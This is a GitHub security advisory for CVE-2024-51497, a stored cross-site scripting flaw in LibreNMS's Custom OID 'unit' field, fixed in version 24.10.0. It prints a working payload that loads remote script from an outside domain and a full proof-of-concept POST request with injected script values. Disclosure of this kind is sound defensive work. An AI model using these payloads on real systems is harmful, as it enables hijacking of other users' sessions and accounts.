ghsa-gv4m-f6fx-859x
Vulnerability from github
Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the "Custom OID" tab of a device allows authenticated users to inject arbitrary JavaScript through the "unit" parameter when creating a new OID. This vulnerability can lead to the execution of malicious code in the context of other users' sessions, compromising their accounts and enabling unauthorized actions.
Details
When creating a new OID for a device, an attacker can inject an XSS payload into the "unit" parameter. This payload is reflected in the "Unit" column of the table displayed in the "Custom OID" tab of the device.
The payload used to exploit this vulnerability is:
<script/src=//15.rs>
Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.
The vulnerability is due to improper sanitization of the "unit" parameter before rendering it in the HTML output. The sink is as follows: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/print-customoid.php#L90
PoC
- Create a new OID for a device using the following payload in the "unit" parameter:
<script/src=//15.rs> - Save the OID.
- Navigate to the "Custom OID" tab of the device.
- Observe that the injected script executes in the "Unit" column of the table.
Example Request: ```http POST /ajax_form.php HTTP/1.1 Host: Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-CSRF-TOKEN: X-Requested-With: XMLHttpRequest Cookie:
device_id=15&device_name=test4'&ccustomoid_id=2&type=customoid&action=save&name=test1{onerror=alert}throw+'OID'&oid=test2{onerror=alert}throw+'OID'&unit=&divisor=1&multiplier=1&user_func=test4{onerror=alert}throw+'OID'&limit=0&limit_low=0&limit_warn=0&limit_low_warn=0&passed=on ```
Impact
This vulnerability allows authenticated users to inject and execute arbitrary JavaScript in the context of other users' sessions when they visit the "Custom OID" tab of the device. This could lead to the compromise of user accounts and unauthorized actions being performed on their behalf.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 24.9.1"
},
"package": {
"ecosystem": "Packagist",
"name": "librenms/librenms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "24.10.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-51497"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2024-11-15T15:46:32Z",
"nvd_published_at": "2024-11-15T16:15:37Z",
"severity": "HIGH"
},
"details": "### Summary\nA Stored Cross-Site Scripting (XSS) vulnerability in the \"Custom OID\" tab of a device allows authenticated users to inject arbitrary JavaScript through the \"unit\" parameter when creating a new OID. This vulnerability can lead to the execution of malicious code in the context of other users\u0027 sessions, compromising their accounts and enabling unauthorized actions.\n\n### Details\nWhen creating a new OID for a device, an attacker can inject an XSS payload into the \"unit\" parameter. This payload is reflected in the \"Unit\" column of the table displayed in the \"Custom OID\" tab of the device.\n\nThe payload used to exploit this vulnerability is:\n```\u003cscript/src=//15.rs\u003e```\n\nNote: The payload uses the \"15.rs\" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.\n\nThe vulnerability is due to improper sanitization of the \"unit\" parameter before rendering it in the HTML output. The sink is as follows:\nhttps://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/print-customoid.php#L90\n\n### PoC\n1. Create a new OID for a device using the following payload in the \"unit\" parameter:\n```\u003cscript/src=//15.rs\u003e```\n2. Save the OID.\n3. Navigate to the \"Custom OID\" tab of the device.\n4. Observe that the injected script executes in the \"Unit\" column of the table.\n\nExample Request:\n```http\nPOST /ajax_form.php HTTP/1.1\nHost: \u003cyour_host\u003e\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-CSRF-TOKEN: \u003cyour_token\u003e\nX-Requested-With: XMLHttpRequest\nCookie: \u003cyour_cookie\u003e\n\ndevice_id=15\u0026device_name=test4\u0027\u0026ccustomoid_id=2\u0026type=customoid\u0026action=save\u0026name=test1\u003cscript\u003e{onerror=alert}throw+\u0027OID\u0027\u003c/script\u003e\u0026oid=test2\u003cscript\u003e{onerror=alert}throw+\u0027OID\u0027\u003c/script\u003e\u0026unit=\u003cscript/src=//15.rs\u003e\u0026divisor=1\u0026multiplier=1\u0026user_func=test4\u003cscript\u003e{onerror=alert}throw+\u0027OID\u0027\u003c/script\u003e\u0026limit=0\u0026limit_low=0\u0026limit_warn=0\u0026limit_low_warn=0\u0026passed=on\n```\n\n### Impact\n\nThis vulnerability allows authenticated users to inject and execute arbitrary JavaScript in the context of other users\u0027 sessions when they visit the \"Custom OID\" tab of the device. This could lead to the compromise of user accounts and unauthorized actions being performed on their behalf.",
"id": "GHSA-gv4m-f6fx-859x",
"modified": "2024-11-15T20:50:21Z",
"published": "2024-11-15T15:46:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/librenms/librenms/security/advisories/GHSA-gv4m-f6fx-859x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51497"
},
{
"type": "WEB",
"url": "https://github.com/librenms/librenms/commit/42b156e42a3811c23758772ce8c63d4d3eaba59b"
},
{
"type": "PACKAGE",
"url": "https://github.com/librenms/librenms"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "LibreNMS has a Stored XSS (\u0027Cross-site Scripting\u0027) in librenms/includes/html/print-customoid.php"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.